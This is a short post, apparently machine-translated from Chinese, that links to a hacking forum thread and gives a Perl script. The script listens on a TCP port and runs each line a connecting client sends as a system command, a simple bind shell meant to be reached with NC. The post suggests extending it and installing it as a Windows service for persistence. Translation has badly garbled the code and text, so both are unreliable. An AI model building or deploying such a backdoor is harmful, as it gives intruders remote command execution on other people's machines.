Go to non-secure pythonhttp: //www.nohack.cn/bbs/dispbbs.asp? BoardId = 13ID = 551Page = 1 Use NC to connect, using a simple pipeline command (``) to enable basic system commands, Interested friends can add, modify it, make more things, who have time to recommend using the Win32 module to make him systematically, and use Perlsvc to be a service 啥
#! / usr / bin / perluse I: socket;
$ port = $ argv [0]; MY $ socket = new i: socket :: => 127.0.0.1 ',' localport '=> $ port,' listen '=> 1,' proto ' => 'TCP', 'Reuse' => 1); Die "Reason: $!" Unless $ socket; while (my $ new_socket = $ socket-> accept ()) {while (my $ buffer = <$ new_socket> ) {IF ($ buffer = ~ / exit /) {exit;} $ r r; = `$ buffer`; Print $ new_socket $ res_msg." / N ";}}
